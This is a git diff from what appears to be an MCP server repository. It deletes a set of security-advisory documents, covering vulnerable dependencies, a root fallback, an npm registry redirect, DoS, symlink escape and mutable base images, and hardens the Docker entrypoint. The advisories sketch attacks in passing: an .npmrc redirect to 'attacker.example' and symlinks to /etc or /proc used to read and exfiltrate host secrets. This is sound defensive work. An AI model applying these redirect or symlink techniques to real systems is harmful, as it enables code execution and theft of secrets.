direct (unused) dep — see SA-006. - -## Summary - -`pnpm audit --prod` (2026-09-01) reports **8 unique advisories** in the -production tree: 3 high, 3 moderate, 2 low. (Audit tools may print larger -totals — e.g. "50 vulnerabilities" — because they count every dependency *path*; -the unique-advisory list below is what actually needs patching.) - -`src/server.ts:35` uses `StdioServerTransport` only, so the Express/Hono HTTP -stack that contains almost all of these is present in the image but never -started. Reachability today is therefore negligible; the risk is latent (a -future transport change makes them live) plus audit-gate/compliance noise. - -## Unique advisories (exact versions — apply these, no guessing) - -| Severity | Package | Vulnerable | Patched | Advisory | Reachable via stdio? | -|----------|---------|-----------|---------|----------|----------------------| -| high | `@hono/node-server` | `<1.19.10` | `>=1.19.10` | GHSA-wc8c-qw6v-h7f6 | No (HTTP static serving) | -| high | `path-to-regexp` | `>=8.0.0 <8.4.0` | `>=8.4.0` | GHSA-j3q9-mxjg-w52f | No (HTTP routing) | -| high | `fast-uri` | `>=3.0.0 <=3.1.3` | `>=3.1.4` | GHSA-v2hh-gcrm-f6hx | Unlikely (ajv URI parsing) | -| moderate | `hono` | `<4.11.7` | `>=4.11.7` | GHSA-9r54-q6cx-xmh5 | No | -| moderate | `ajv` | `>=7.0.0-alpha.0 <8.18.0` | `>=8.18.0` | GHSA-2g4f-4pwh-qvx6 | Unlikely | -| moderate | `picomatch` | `>=4.0.0 <4.0.4` | `>=4.0.4` | GHSA-3v7f-55p6-f55p | No | -| low | `qs` | `>=6.7.0 <=6.14.1` | `>=6.14.2` | GHSA-w7fw-mjwx-w883 | No (see SA-006) | -| low | `body-parser` | `>=2.0.0 <2.3.0` | `>=2.3.0` | GHSA-v422-hmwv-36x6 | No | - -## Remediation (mechanical, in this order) - -1. **Check for a newer `@modelcontextprotocol/sdk` patch/minor within `^1.x`** - (current: `1.30.0`). Do **not** jump majors: - ```bash - pnpm outdated @modelcontextprotocol/sdk # look for a 1.x bump only - ``` - If a newer 1.x exists, take it, then re-run `pnpm audit --prod` — it may - clear several rows. -2. **Pin the remainder with `pnpm.overrides`** using the exact patched versions - from the table (all are semver-compatible bumps within the same major, so - they are safe to force): - ```json - "pnpm": { - "overrides": { - "@hono/node-server@<1.19.10": ">=1.19.10", - "path-to-regexp@>=8.0.0 <8.4.0": ">=8.4.0", - "fast-uri@>=3.0.0 <=3.1.3": ">=3.1.4", - "hono@<4.11.7": ">=4.11.7", - "ajv@>=7.0.0-alpha.0 <8.18.0": ">=8.18.0", - "picomatch@>=4.0.0 <4.0.4": ">=4.0.4", - "qs@>=6.7.0 <=6.14.1": ">=6.14.2", - "body-parser@>=2.0.0 <2.3.0": ">=2.3.0" - } - } - ``` -3. `pnpm install`, then `pnpm run build && pnpm run test` — the full suite must - pass before this counts as fixed. -4. Rebuild the Docker image so the lockfile change ships. - -## Verification - -`pnpm audit --prod` reports 0 advisories. Add a CI step -`pnpm audit --prod --audit-level high` so regressions fail the build. - -## Notes - -- Base-image tag pinning was previously (incorrectly) declared "in good shape" - here — that's a separate real finding now tracked as **SA-009** (mutable - `rust:1.95-slim` and `:latest` base tags). diff --git a/context/secuirty-advisories/SA-004-docker-root-fallback.md b/context/secuirty-advisories/SA-004-docker-root-fallback.md deleted file mode 100644 index 64b32a5..0000000 --- a/context/secuirty-advisories/SA-004-docker-root-fallback.md +++ /dev/null @@ -1,93 +0,0 @@ -# SA-004 — Container falls back to running as root - -**Severity:** Medium -**Category:** Execution with unnecessary privileges (CWE-250) -**Status:** Open -**Affected files:** `docker-entrypoint.sh:35-55`, `Dockerfile`, `Dockerfile-base` - -## Summary - -`docker-entrypoint.sh` drops privileges to the workspace owner's UID/GID via -`setpriv`, but **falls back to `exec "$@"` as root** whenever the resolved -target UID is 0. That happens in common configurations: - -- no writable `/workspace` mount, or a root-owned mount; -- Docker Desktop on macOS/Windows, where bind-mount ownership is virtualized - and typically appears as UID 0 inside the container (the entrypoint's own - comment documents this); -- `setpriv` missing from the image. - -In those cases the server — which **executes untrusted workspace build code** -(`cargo build`/`build.rs`, npm lifecycle scripts, proc-macros; see `index.md` -threat model and SA-001) — runs that code as **root inside the container**. -Scope note: container root is not host root by itself, but it maximizes blast -radius — full write access to the container filesystem and to whatever is bind- -mounted, and a strictly stronger position for any container-escape primitive. - -## Where it is - -```sh -if [ "$(id -u)" = "0" ] && [ "$target_uid" != "0" ] && command -v setpriv ...; then - ... - exec setpriv --reuid="$target_uid" --regid="$target_gid" --clear-groups "$@" -fi -exec "$@" # <-- runs as root when target_uid resolved to 0 -``` - -## Constraint the fix MUST respect - -**Do NOT add `USER app` to the Dockerfile as a one-line fix.** The entrypoint's -privilege-drop machinery *requires starting as root*: it must `stat` the mount, -`mkdir`/`chmod`/`chown` the per-UID `$HOME` (`/tmp/home-`), and call -`setpriv`. With a non-root `USER`, `id -u` is already nonzero, that whole branch -is skipped, the per-UID home is never prepared, and a root-owned `/workspace` -becomes unwritable. The container must **start** as root and the fix is to make -the **fallback** land on a prepared non-root account instead of staying root. - -## Remediation - -1. **Bake an unprivileged fallback user into the image** (in `Dockerfile-base` - or `Dockerfile`), but do *not* set `USER`: - ```dockerfile - RUN groupadd -g 10001 fastedge && \ - useradd -u 10001 -g 10001 -m -d /home/fastedge fastedge - ``` -2. **Change the entrypoint fallback**: when the resolved `target_uid` is 0 - (workspace root-owned / absent / virtualized), drop to the baked user - instead of staying root, reusing the existing home-prep + `setpriv` path: - ```sh - if [ "$target_uid" = "0" ]; then - target_uid=10001 - target_gid=10001 - fi - ``` - Place this after the owner-resolution block, before the `setpriv` branch. - The existing per-UID `HOME=/tmp/home-` preparation then covers the - fallback user too. Keep a genuine last-resort `exec "$@"` only for the - `setpriv`-missing case, and log a loud warning there. -3. **Behavior change to flag to the operator:** on Docker Desktop (virtualized - mounts appearing as UID 0), files written to `/workspace` will now be owned - by UID 10001 instead of root. On Docker Desktop specifically the host-side - ownership mapping is virtualized anyway, so host access is typically - unaffected — but note it in `STANDALONE-SETUP.md` and the CHANGELOG, and - document `HOST_UID`/`HOST_GID` as the explicit override for anyone this - breaks. -4. Also document in `STANDALONE-SETUP.md`: running with - `-e HOST_UID=$(id -u) -e HOST_GID=$(id -g)` (or a user-owned mount) is the - recommended setup. - -## Test - -Build the image and assert the fallback is non-root: - -```bash -# no mount → previously root, now 10001 -docker run --rm id -u # expect 10001 (via entrypoint) -# user-owned mount → unchanged behavior -docker run --rm -v "$PWD:/workspace" id -u # expect $(id -u) -``` - -## Related - -- SA-001 / SA-007 — untrusted build code is the payload that makes root - execution matter; SA-002's ownership fix assumes this UID resolution. diff --git a/context/secuirty-advisories/SA-005-supply-chain-beta-tag.md b/context/secuirty-advisories/SA-005-supply-chain-beta-tag.md deleted file mode 100644 index e4f8eaf..0000000 --- a/context/secuirty-advisories/SA-005-supply-chain-beta-tag.md +++ /dev/null @@ -1,92 +0,0 @@ -# SA-005 — Scaffolding fetches mutable packages with workspace-controlled npm config - -**Severity:** Medium (raised from Low: the untrusted workspace can redirect the -registry, so this is not gated on compromising Gcore's npm account) -**Category:** Download of code without integrity check (CWE-494) -**Status:** Open -**Affected files:** -- `src/tools/local/scaffolding/scaffolds.ts:39` (`list-fastedge-templates`, `execAsync`) -- `src/tools/local/scaffolding/scaffolds.ts:158` (`scaffold-fastedge-project`, `execFile` args) - -## Summary - -Both scaffolding tools run `create-fastedge-app@beta` via `npx --yes`, which -fetches from the registry at tool-call time and executes what it gets. Two -distinct problems compound: - -1. **Mutable dist-tag.** `@beta` is not a pin — it resolves to whatever the - registry's `beta` tag currently points at (right now `0.0.14-beta.1`, which - is *behind* `latest` = `0.0.16`). A moved or hijacked tag silently changes - what code runs. -2. **The untrusted workspace controls npm's config.** Both invocations run with - `cwd` inside the workspace (`execAsync` at :40 inherits the server cwd; - `execFile` at :173 sets `cwd: options.workspaceRoot`). npm/npx read - **project-level `.npmrc`** from the cwd and its ancestors — so a workspace - containing `.npmrc` with `registry=https://attacker.example/` redirects the - fetch to an attacker-controlled registry. **Version pinning alone does not - fix this**: the attacker's registry can serve any payload under any version - number. The `npm install` that scaffolding triggers inside the new project is - subject to the same redirect. - -Fetched code executes inside the container that holds the operator's API key -(SA-001) and, in the fallback case, as root (SA-004). - -## Impact - -- Supply-chain RCE: a malicious workspace `.npmrc` (e.g. in a cloned repo the - user asked to work on) turns a scaffold/template-list call into arbitrary code - execution — no compromise of Gcore infrastructure required. Hence Medium. -- Residual risk after fixing the redirect: mutable `@beta` still trusts the - real registry's tag state. - -## Remediation - -Both parts are required: - -1. **Neutralize workspace npm config for these invocations.** Point npm at an - empty userconfig and force the registry explicitly: - ```ts - const NPM_SAFE_ENV = { - npm_config_registry: "https://registry.npmjs.org/", - NPM_CONFIG_USERCONFIG: "/dev/null", - // project .npmrc has no dedicated kill-switch env var — ALSO run npx from a - // cwd outside the workspace (e.g. os.tmpdir()) for the list-templates call, - // and pass --registry explicitly where supported. - }; - ``` - - `list-fastedge-templates` (`:39`): run with `cwd: os.tmpdir()` — it doesn't - need the workspace at all — plus the env above. - - `scaffold-fastedge-project` (`:173`): must create files in the workspace, - so it keeps `cwd: options.workspaceRoot`; pass the env above so the - registry/userconfig are forced even if a `.npmrc` sits in the workspace - root. Verify with the test below — if project-level `.npmrc` still wins in - your npm version, scaffold into a temp dir outside the workspace and move - the result in afterwards. -2. **Pin an exact, verified version** — one shared constant, both call sites: - ```ts - // Deliberately version-bumped when the scaffolder updates. `latest` was - // 0.0.16 at pin time; confirm before applying. - const CREATE_APP_PKG = "create-fastedge-app@0.0.16"; - ``` - If pre-release testing needs `@beta`, gate it behind an explicit env flag - (e.g. `SCAFFOLD_USE_BETA=1`), defaulting to the pin. -3. Longer term: ship `create-fastedge-app` into the image at build time (pinned - + lockfiled in the Dockerfile) and invoke the local copy — removes the - runtime registry fetch entirely. Note this does *not* cover the `npm install` - the scaffolder runs inside the new project; that one inherently talks to the - registry, which is why step 1's config-neutralization matters most. - -## Test - -Two checks in `scripts/tests/`: -- Grep guard: the scaffolding source contains an exact `create-fastedge-app@x.y.z` - pin and no `@beta`/`@latest` (except behind the explicit flag). -- Redirect guard (integration, can be CI-only): put - `registry=http://127.0.0.1:9/` in a temp workspace `.npmrc`, run - `list-fastedge-templates`; it must still succeed (proving the workspace - `.npmrc` was not honored). - -## Related - -- SA-001 (caps what leaked env the fetched code can read), SA-004 (what UID it - runs as), SA-007 (timeouts already exist on these two call sites — keep them). diff --git a/context/secuirty-advisories/SA-006-unused-qs-dependency.md b/context/secuirty-advisories/SA-006-unused-qs-dependency.md deleted file mode 100644 index 1d1ffdc..0000000 --- a/context/secuirty-advisories/SA-006-unused-qs-dependency.md +++ /dev/null @@ -1,51 +0,0 @@ -# SA-006 — Unused direct `qs` dependency (hygiene) - -**Severity:** Low (dependency hygiene — no reachable vulnerability; the code -never calls it) -**Category:** Unnecessary dependency (CWE-1071) -**Status:** Open -**Affected file:** `package.json` (`dependencies.qs`, `devDependencies["@types/qs"]`) - -## Summary - -`package.json` declares `qs` (`^6.14.0`) as a **direct production dependency**, -but nothing in `src/` or `scripts/` imports it (verified by grep — query strings -are built with `URLSearchParams` in `api-client.ts`). It's a dead declaration -that misleads readers and audit triage into thinking the server uses `qs` -directly. - -## Important scope limitation (read before fixing) - -Removing the direct dep does **NOT** remove `qs` from the production image and -does **NOT** clear the `qs` audit advisory (GHSA-w7fw-mjwx-w883). `qs@6.14.1` -is also resolved **transitively** via -`@modelcontextprotocol/sdk → express → body-parser → qs` (confirmed with -`pnpm why qs`). The transitive copy is handled by the version override in -**SA-003** (`qs >=6.14.2`). This advisory is only about deleting the misleading -direct declaration. - -## Impact - -- None directly exploitable. Value of fixing: honest dependency manifest, - smaller direct-dep surface, no accidental future `import qs` landing on an - unpatched version. - -## Remediation - -```bash -grep -rn "from ['\"]qs['\"]\|require(['\"]qs['\"])" src/ scripts/ # must be empty -pnpm remove qs @types/qs -pnpm run build && pnpm run test -``` - -If a future feature needs querystring parsing beyond `URLSearchParams`, re-add -it pinned to `>=6.14.2` at that point. - -## Verification - -- `pnpm run build` and `pnpm run test` pass. -- `pnpm why qs` shows only the transitive path via `@modelcontextprotocol/sdk` - (that path disappearing is SA-003's job, not this one's). -- Do **not** use "`pnpm audit` no longer lists qs" as the success criterion for - this advisory — it will keep listing the transitive copy until SA-003's - override lands. diff --git a/context/secuirty-advisories/SA-007-unbounded-build-processes.md b/context/secuirty-advisories/SA-007-unbounded-build-processes.md deleted file mode 100644 index 84ec88c..0000000 --- a/context/secuirty-advisories/SA-007-unbounded-build-processes.md +++ /dev/null @@ -1,99 +0,0 @@ -# SA-007 — Build subprocesses have no timeout or output limit (DoS) - -**Severity:** Medium (reachable under the untrusted-workspace model; availability -only, no data exposure) -**Category:** Uncontrolled resource consumption (CWE-400) -**Status:** Open -**Affected files:** -- `src/tools/local/workspace/compiler/jsBuild.ts:17-61` -- `src/tools/local/workspace/compiler/asBuild.ts:51-79` -- `src/tools/local/workspace/compiler/rustBuild.ts:72-138` - -## Summary - -All three compiler build paths `spawn` untrusted build tooling with **no -timeout, no cancellation, and no output cap**, then accumulate the child's -stdout/stderr into **unbounded** JavaScript strings: - -```ts -// jsBuild.ts (asBuild.ts, rustBuild.ts are equivalent) -const jsBuild = spawn("npx", [...], { stdio: ["ignore", "pipe", "pipe"], cwd, env }); -let stdout = ""; -jsBuild.stdout?.on("data", (data) => { stdout += data; }); // grows without bound -jsBuild.stderr?.on("data", (data) => { stderr += data; }); // grows without bound -// no timeout, no maxBuffer, no kill path -``` - -Because the workspace is untrusted (a build runs the project's own `build.rs`, -proc-macros, `package.json` scripts — see the `index.md` threat model), a -malicious or accidentally-pathological project can: - -- **Hang the request forever** — a `build.rs` / npm script that sleeps or blocks - never fires `close`, so `buildWasmBinary`'s promise never resolves. The MCP - request hangs indefinitely. -- **Exhaust memory** — a build that prints to stdout/stderr in a loop grows the - `stdout`/`stderr` strings until the Node process is OOM-killed (and Docker - sets no memory limit by default), taking the whole MCP server down. - -Note the scaffolding tools (`scaffolds.ts`) already set `timeout: 120000` and -`maxBuffer: 10MB` on their `exec`/`execFile` calls — the compilers are the -inconsistent, unprotected path and should match them. - -## Impact - -- **Availability:** a single build against a hostile or broken project hangs or - kills the MCP server, denying service to the operator. No confidentiality/ - integrity impact. Trigger is ordinary (build a bad project), hence Medium. - -## Remediation - -Add a timeout with a kill, and cap accumulated output, to all three compilers. -`child_process.spawn` supports `timeout` + `killSignal` directly: - -```ts -const MAX_BUILD_MS = 180_000; // align with batch cap; tune per language -const MAX_OUTPUT_BYTES = 10 * 1024 * 1024; - -const jsBuild = spawn("npx", [...], { - stdio: ["ignore", "pipe", "pipe"], - cwd, - env: buildSubprocessEnv(), // SA-001 - timeout: MAX_BUILD_MS, // Node sends killSignal on expiry - killSignal: "SIGKILL", -}); - -let stdout = ""; -let truncated = false; -jsBuild.stdout?.on("data", (data: Buffer) => { - if (stdout.length + data.length > MAX_OUTPUT_BYTES) { - truncated = true; - stdout = stdout.slice(0, MAX_OUTPUT_BYTES); - jsBuild.kill("SIGKILL"); - return; - } - stdout += data; -}); -// same guard for stderr -``` - -Handle the timeout branch in the `close`/`error` handlers: when the process was -killed by timeout (`signal === "SIGKILL"` / the `error` event with -`err.code === "ETIMEDOUT"`), reject with a clear -`"build timed out after 180000ms"` rather than a generic exit-code message, and -mention truncation if `truncated`. - -Apply identically to `asBuild.ts` and `rustBuild.ts`. Consider a shorter default -for JS/AS than Rust (Rust cold builds are legitimately slow); make it overridable -via env if needed, mirroring `BATCH_MAX_CALLS`. - -## Test - -Add to `scripts/tests/`: a fake build command that (a) sleeps past the timeout — -assert the promise rejects with a timeout error within ~timeout+ε, and (b) -floods stdout — assert memory/accumulated output stays bounded and the process is -killed. A stub replacing `spawn` with a scripted child is enough; no real -toolchain needed. - -## Related - -- SA-001 (`buildSubprocessEnv`), SA-004 (what the runaway runs as). diff --git a/context/secuirty-advisories/SA-008-symlink-path-escape.md b/context/secuirty-advisories/SA-008-symlink-path-escape.md deleted file mode 100644 index 2d220b1..0000000 --- a/context/secuirty-advisories/SA-008-symlink-path-escape.md +++ /dev/null @@ -1,111 +0,0 @@ -# SA-008 — Workspace confinement is lexical only; symlinks escape it - -**Severity:** Medium -**Category:** Improper link resolution before file access / path traversal -(CWE-59, CWE-22) -**Status:** Open -**Affected file:** `src/utils/index.ts:6-22` (`normalizePath`), consumed by -build, scaffold, and upload tools. - -## Summary - -`normalizePath` is the single confinement gate for every path a tool accepts -(entry file, output file, build dir, scaffold output dir, wasm-to-upload). It -does **purely lexical** validation: - -```ts -const posixPath = filePath.replace(/\\/g, "/"); -const normalizedPath = path.normalize(posixPath); -if (normalizedPath.startsWith("..") || path.isAbsolute(normalizedPath) || /^[a-zA-Z]:/.test(posixPath)) - return INVALID_PATH; -return path.join(workspaceRoot, normalizedPath); // never realpath'd -``` - -It correctly blocks `..` traversal, absolute paths, and Windows drive letters — -**as strings**. It never calls `realpath`/`lstat`, so it does not detect that a -*resolved* path leaves the workspace through a **symlink**. If the untrusted -workspace contains a symlink — e.g. `link → /` or `link → /etc` or -`link → /proc/1/root` — then a tool-supplied path like `link/some/file`: - -- passes the lexical check (`"link/some/file"` has no `..`, isn't absolute), and -- `path.join(workspaceRoot, "link/some/file")` resolves through the symlink to - outside `/workspace` when the filesystem dereferences it. - -Under the threat model the workspace is untrusted (a cloned repo the user is -working on can ship a symlink), so this is attacker-plantable. - -## Reachable sinks - -- `binaries/api.ts:17` — `fs.readFileSync(wasmFilePath)` then uploads the bytes: - **arbitrary file read + exfiltration to the Gcore API** (e.g. read a host - secret mounted into the container and upload it as a "binary"). -- `compiler/*` — build reads the entry file and **writes** the output wasm - through the resolved path: **arbitrary file overwrite** (and `chmod`, via - SA-002) outside the workspace. -- `scaffolds.ts` — project generation writes a tree at the resolved output dir: - **arbitrary directory creation/write** outside the workspace. - -Impact is worst in the SA-004 root-fallback (writes as root anywhere the symlink -points). - -## Impact - -- **Confidentiality:** read arbitrary container-readable files (incl. bind- - mounted host secrets) via the upload path. -- **Integrity:** overwrite/create files outside the workspace via build/scaffold. -- Requires the attacker to influence workspace contents (plant a symlink), which - the untrusted-workspace model grants. Medium. - -## Remediation - -Make confinement **canonical**, not lexical. After joining, resolve the real -path and re-check containment; handle the not-yet-existing output-path case by -resolving the nearest existing ancestor. - -```ts -import { realpathSync } from "fs"; -import path from "node:path"; - -export function normalizePath(workspaceRoot: string, filePath: string): string { - const posixPath = filePath.replace(/\\/g, "/"); - const normalizedPath = path.normalize(posixPath); - if (normalizedPath.startsWith("..") || path.isAbsolute(normalizedPath) || /^[a-zA-Z]:/.test(posixPath)) - return INVALID_PATH; - - const rootReal = realpathSync(workspaceRoot); - const candidate = path.join(rootReal, normalizedPath); - - // Resolve the deepest existing ancestor (output files may not exist yet), - // then confirm it is still inside the real workspace root. - let probe = candidate; - while (!existsSync(probe) && probe !== path.dirname(probe)) probe = path.dirname(probe); - const probeReal = realpathSync(probe); - const contained = probeReal === rootReal || probeReal.startsWith(rootReal + path.sep); - if (!contained) return INVALID_PATH; - - return candidate; -} -``` - -Notes for the implementer: -- `normalizePath` currently takes `(workspaceRoot, filePath)` — signature is - unchanged; only the body gains realpath checks. All callers already pass both. -- There is an inherent **TOCTOU** gap between this check and the later - read/write (a symlink could be swapped in after the check). The realpath check - closes the common planted-symlink case; for full robustness the file ops - themselves should use `O_NOFOLLOW`/`openat` semantics, but that is a larger - change — note it, don't block the primary fix on it. -- Preserve the existing `INVALID_PATH` sentinel and error messages so callers - keep working. - -## Test - -Add to `scripts/tests/`: create a temp workspace containing `escape -> /` (or a -temp dir outside the workspace), then assert `normalizePath(ws, "escape/etc/passwd")` -returns `INVALID_PATH`. Also assert a legitimate not-yet-existing output path -inside the workspace (e.g. `"wasm/output.wasm"`) is still accepted. - -## Related - -- SA-002 (the chmod runs on this resolved path), SA-004 (root amplifies write - impact). diff --git a/context/secuirty-advisories/SA-009-mutable-base-images.md b/context/secuirty-advisories/SA-009-mutable-base-images.md deleted file mode 100644 index 7c8132c..0000000 --- a/context/secuirty-advisories/SA-009-mutable-base-images.md +++ /dev/null @@ -1,67 +0,0 @@ -# SA-009 — Docker base images use mutable tags (not digest-pinned) - -**Severity:** Low -**Category:** Reliance on untrusted/mutable resolution (CWE-494 / supply chain) -**Status:** Open -**Affected files:** `Dockerfile-base:1`, `Dockerfile:2` - -## Summary - -The image supply chain pins the *artifacts fetched inside* the build (Node and -WASI SDK are checksum-verified; pnpm/Rust toolchain versions are fixed), but the -**base images themselves are mutable tags**: - -- `Dockerfile-base:1` — `FROM rust:1.95-slim` -- `Dockerfile:2` — `ARG BASE_IMAGE=ghcr.io/g-core/fastedge-mcp-server-base:latest` - -Both `rust:1.95-slim` and especially `:latest` are floating tags: the same -`docker build` on two different days can pull different underlying image -contents (base OS packages, libc, CA bundle, etc.). Checksumming Node/WASI does -**not** make the resulting image reproducible or protect against a moved/ -republished base tag. `:latest` is the weakest form — it can jump across major -versions entirely. - -This corrects an earlier incorrect statement in SA-003 that "the base-image -supply chain is in good shape." - -## Impact - -- **Reproducibility / supply chain:** a rebuild can silently change the base OS - layer; a compromised or moved upstream tag is pulled without detection. No - live exploit against a running instance — hence Low — but it undermines - build integrity and incident forensics ("what exactly shipped?"). - -## Remediation - -Pin both `FROM`/base references by **digest**, and bump deliberately: - -1. Resolve current digests: - ```bash - docker pull rust:1.95-slim && docker inspect --format='{{index .RepoDigests 0}}' rust:1.95-slim - docker pull ghcr.io/g-core/fastedge-mcp-server-base:latest && \ - docker inspect --format='{{index .RepoDigests 0}}' ghcr.io/g-core/fastedge-mcp-server-base:latest - ``` -2. Pin them: - ```dockerfile - # Dockerfile-base - FROM rust:1.95-slim@sha256: - ``` - ```dockerfile - # Dockerfile - ARG BASE_IMAGE=ghcr.io/g-core/fastedge-mcp-server-base@sha256: - ``` - Keep the human-readable version in a comment so bumps stay reviewable. -3. Update the digests intentionally (ideally via a bot/PR) when upgrading the - base, rather than floating. - -## Test / verification - -- `grep -n 'FROM .*@sha256:' Dockerfile-base` and the `BASE_IMAGE` default in - `Dockerfile` both show a digest. -- Image still builds: `docker build` succeeds against the pinned digests. -- Optionally add a CI lint (hadolint `DL3006`, or a grep) that fails on a - `FROM`/`BASE_IMAGE` without `@sha256:`. - -## Related - -- SA-003 (npm-tree CVEs — separate concern; this is the OS/base layer). diff --git a/context/secuirty-advisories/index.md b/context/secuirty-advisories/index.md deleted file mode 100644 index 1d15a0a..0000000 --- a/context/secuirty-advisories/index.md +++ /dev/null @@ -1,84 +0,0 @@ -# FastEdge MCP Server — Security Advisories - -Tracking index for security findings in `FastEdge-mcp-server`. Each open item -has its own `SA-XXX-*.md` file with reproduction, impact, and a concrete fix a -non-expert agent can apply. - -**Audit date:** 2026-09-01 -**Scope reviewed:** `src/` (all tools, api-client, policy), `Dockerfile`, -`Dockerfile-base`, `docker-entrypoint.sh`, production dependency tree. - -## Threat model (read this first) - -This MCP server runs as a **Docker container with a bind-mounted `/workspace`** -and the operator's **`GCORE_API_KEY` in its environment**. Its local tools -(`build-wasm`, `scaffold-fastedge-project`, `list-fastedge-templates`) **execute -build tooling against code in that workspace** — `cargo build` (runs `build.rs` -+ proc-macros), `npx fastedge-build` / `asc` (run project `node_modules` code), -and `create-fastedge-app` + `npm install` (run network-fetched package -lifecycle scripts). **Executing workspace/third-party code is by design.** The -security question is therefore *not* "can workspace code run" (it must) but -"what does that code get access to, and what does it leave behind". Several open -findings below are about exactly that: the API key is handed to every build -subprocess, and build output is made world-writable. - -## Severity scale - -CVSS-style qualitative bands: **Critical / High / Medium / Low**. Scores are -this-context estimates, not NVD vectors. - -## Open findings - -| ID | Title | Severity | File | Status | -|----|-------|----------|------|--------| -| SA-001 | Operator API key exposed to every build/scaffold subprocess | **High** | [SA-001-api-key-env-exposure.md](SA-001-api-key-env-exposure.md) | Open | -| SA-002 | Build output made world-writable (`chmod 0o777`, walk escapes to `/workspace`) | **Medium** | [SA-002-world-writable-build-output.md](SA-002-world-writable-build-output.md) | Open | -| SA-004 | Container falls back to running as root | **Medium** | [SA-004-docker-root-fallback.md](SA-004-docker-root-fallback.md) | Open | -| SA-005 | Scaffolding: mutable `@beta` + workspace-controlled npm registry | **Medium** | [SA-005-supply-chain-beta-tag.md](SA-005-supply-chain-beta-tag.md) | Open | -| SA-007 | Build subprocesses have no timeout or output limit (DoS) | **Medium** | [SA-007-unbounded-build-processes.md](SA-007-unbounded-build-processes.md) | Open | -| SA-008 | Workspace confinement is lexical only; symlinks escape it | **Medium** | [SA-008-symlink-path-escape.md](SA-008-symlink-path-escape.md) | Open | -| SA-003 | Vulnerable transitive dependencies (3 high, via MCP SDK) | **Low** shipped / latent High | [SA-003-vulnerable-dependencies.md](SA-003-vulnerable-dependencies.md) | Open | -| SA-006 | Unused direct `qs` dependency (hygiene) | **Low** | [SA-006-unused-qs-dependency.md](SA-006-unused-qs-dependency.md) | Open | -| SA-009 | Docker base images use mutable tags (not digest-pinned) | **Low** | [SA-009-mutable-base-images.md](SA-009-mutable-base-images.md) | Open | - -**Suggested fix order:** SA-001 → SA-004 → SA-008 → SA-007 → SA-002 → SA-005 → -SA-003 → SA-006 → SA-009. The first four cap the worst blast radius (credential -reach, root, arbitrary file access, DoS); SA-002 depends on SA-004's UID -resolution; the rest are hardening/hygiene. - -> **Reviewed 2026-09-01** by a second independent model (cross-examination) and -> each load-bearing claim re-verified against the code before these were -> finalized. Corrections applied: SA-001 remediation now removes the key from -> `process.env` (env-strip alone is bypassable via `/proc//environ`); -> SA-002 fixes ownership + the `/workspace`-escaping walk, not just mode bits; -> SA-003 uses exact patched versions (the earlier "10 high" was duplicate paths -> — 3 unique high) and no longer claims base images are pinned; SA-004 keeps -> root for UID selection instead of a broken `USER app`; SA-005 raised to Medium -> (workspace `.npmrc` registry redirect); SA-006 no longer claims removal clears -> the audit advisory (`qs` is also transitive). SA-007/008/009 added. - -## Fixed / historical (do not re-open) - -These are the shell/OS-command-injection reports that prompted this audit. They -are **already fixed** — verify the fix is intact if you touch these files, but -no new work is needed. - -| Area | What was fixed | Commit(s) | Verified intact | -|------|----------------|-----------|-----------------| -| Compiler builds (`cargo`, `asc`, `fastedge-build`) | Switched from shell-string exec to `spawn()` with an args array and **no shell**, so a project-controlled cargo `target` / paths can't inject shell syntax (ICM-50655) | `4143ce1`, `355d0d0` | `src/tools/local/workspace/compiler/*.ts` — `spawn(cmd, [args], {stdio,...})`, no `shell:true` | -| Scaffolding (`create-fastedge-app`) | Switched to `execFile("npx", args)` (args array, no shell) so `outputPath` can't be interpreted as shell syntax | `355d0d0` | `src/tools/local/scaffolding/scaffolds.ts` — `execFileAsync` for scaffold. **Note:** `list-fastedge-templates` still uses `execAsync` on a *constant* string (no user input) — safe, but see SA-005 | -| API path SSRF / key exfiltration | `api-client.ts` rejects any path whose resolved `URL.origin` differs from `GCORE_API_BASE`; `policy/evaluate.ts` `normalizePath` denies traversal, backslashes, `%2e/%2f`, control chars, protocol-relative and userinfo-authority paths before the allowlist match | (part of policy layer) | `src/api-client.ts:97-116`, `src/policy/evaluate.ts:58-82` | - -> **Note on the two `normalizePath`s — they are different functions, don't -> conflate them.** `policy/evaluate.ts:normalizePath` (API *URL* paths) is -> hardened and fine. `utils/index.ts:normalizePath` (local *filesystem* paths) -> is the lexical-only one with the symlink gap — that's **SA-008**, still open. -| Batch path re-injection | `batch_execute` re-runs `checkAllowed` on the **resolved** path (post `$ref` substitution) because prior-step data is untrusted and can carry `/` or `..` | `3141bcc` | `src/tools/api/batch-execute.ts:216` | - -## How to work these - -1. Pick the lowest-numbered open item, open its file. -2. Apply the fix in the "Remediation" section. Keep the diff minimal. -3. Run `pnpm run test` (and `pnpm run test:compiler-injection` for compiler - changes). -4. Flip the row's **Status** to `Fixed` here and add the commit hash. diff --git a/docker-entrypoint.sh b/docker-entrypoint.sh index b1ffeb6..49b993b 100755 --- a/docker-entrypoint.sh +++ b/docker-entrypoint.sh @@ -1,16 +1,21 @@ #!/bin/sh -# Drop privileges to the host user so files created in the bind-mounted -# workspace are owned by that user instead of root. +# Resolve the UID/GID to run as, then drop privileges before exec-ing the +# server process. # -# Target UID/GID resolution order: -# 1. Explicit HOST_UID / HOST_GID environment variables +# Resolution order: +# 1. HOST_UID / HOST_GID environment variables (explicit override) # 2. Owner of the mounted workspace directory ($WORKSPACE_ROOT) -# 3. Fall back to running as-is (root) for backward compatibility +# 3. If the resolved UID is 0 (no mount, root-owned mount, or Docker Desktop +# where bind-mount ownership appears as uid 0 inside the container), fall +# back to the baked-in uid/gid 10001 to avoid running as container root. # -# This keeps the container backward-compatible: with no writable mount, or on -# Docker Desktop (macOS/Windows) where bind-mount ownership is virtualized and -# typically appears as uid 0 inside the container, the workspace owner resolves -# to 0 and we stay root. +# Pass -e HOST_UID=$(id -u) -e HOST_GID=$(id -g) to docker run when the +# workspace mount is owned by a non-root user but the above detection does not +# pick it up correctly (e.g. userns-remap setups). +# +# The API key is passed to the Node process via fd 3 (a heredoc opened below) +# and removed from the environment before exec so it does not appear in +# /proc//environ of child processes. set -e WORKSPACE_ROOT="${WORKSPACE_ROOT:-/workspace}" @@ -35,6 +40,14 @@ fi target_uid="${target_uid:-0}" target_gid="${target_gid:-$target_uid}" +# When the resolved owner is root (root-owned or absent mount, Docker Desktop +# virtualized ownership), drop to the baked-in fallback user instead of +# staying root. This prevents untrusted build code from running as container root. +if [ "$target_uid" = "0" ]; then + target_uid=10001 + target_gid=10001 +fi + if [ "$(id -u)" = "0" ] && [ "$target_uid" != "0" ] && command -v setpriv >/dev/null 2>&1; then # Give the unprivileged user a writable HOME for tool caches # (npm / pnpm / create-fastedge-app). The cargo registry already lives in a @@ 